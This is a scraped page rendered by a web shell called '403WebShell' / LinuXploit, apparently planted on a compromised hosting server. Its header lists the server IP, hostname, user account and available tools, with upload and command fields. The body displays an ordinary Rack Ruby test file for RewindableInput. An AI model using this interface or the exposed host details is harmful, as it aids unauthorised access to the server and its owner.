Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.137.211.49
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/ruby23/lib64/ruby/gems/2.3.0/gems/rack-1.6.4/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/ruby23/lib64/ruby/gems/2.3.0/gems/rack-1.6.4/test/spec_rewindable_input.rb
require 'stringio'
require 'rack/rewindable_input'

shared "a rewindable IO object" do
  before do
    @rio = Rack::RewindableInput.new(@io)
  end

  should "be able to handle to read()" do
    @rio.read.should.equal "hello world"
  end

  should "be able to handle to read(nil)" do
    @rio.read(nil).should.equal "hello world"
  end

  should "be able to handle to read(length)" do
    @rio.read(1).should.equal "h"
  end

  should "be able to handle to read(length, buffer)" do
    buffer = ""
    result = @rio.read(1, buffer)
    result.should.equal "h"
    result.object_id.should.equal buffer.object_id
  end

  should "be able to handle to read(nil, buffer)" do
    buffer = ""
    result = @rio.read(nil, buffer)
    result.should.equal "hello world"
    result.object_id.should.equal buffer.object_id
  end

  should "rewind to the beginning when #rewind is called" do
    @rio.read(1)
    @rio.rewind
    @rio.read.should.equal "hello world"
  end

  should "be able to handle gets" do
    @rio.gets.should == "hello world"
  end

  should "be able to handle each" do
    array = []
    @rio.each do |data|
      array << data
    end
    array.should.equal(["hello world"])
  end

  should "not buffer into a Tempfile if no data has been read yet" do
    @rio.instance_variable_get(:@rewindable_io).should.be.nil
  end

  should "buffer into a Tempfile when data has been consumed for the first time" do
    @rio.read(1)
    tempfile = @rio.instance_variable_get(:@rewindable_io)
    tempfile.should.not.be.nil
    @rio.read(1)
    tempfile2 = @rio.instance_variable_get(:@rewindable_io)
    tempfile2.path.should == tempfile.path
  end

  should "close the underlying tempfile upon calling #close" do
    @rio.read(1)
    tempfile = @rio.instance_variable_get(:@rewindable_io)
    @rio.close
    tempfile.should.be.closed
  end

  should "be possible to call #close when no data has been buffered yet" do
    lambda{ @rio.close }.should.not.raise
  end

  should "be possible to call #close multiple times" do
    lambda{
      @rio.close
      @rio.close
    }.should.not.raise
  end

  @rio.close
  @rio = nil
end

describe Rack::RewindableInput do
  describe "given an IO object that is already rewindable" do
    before do
      @io = StringIO.new("hello world")
    end

    behaves_like "a rewindable IO object"
  end

  describe "given an IO object that is not rewindable" do
    before do
      @io = StringIO.new("hello world")
      @io.instance_eval do
        undef :rewind
      end
    end

    behaves_like "a rewindable IO object"
  end

  describe "given an IO object whose rewind method raises Errno::ESPIPE" do
    before do
      @io = StringIO.new("hello world")
      def @io.rewind
        raise Errno::ESPIPE, "You can't rewind this!"
      end
    end

    behaves_like "a rewindable IO object"
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit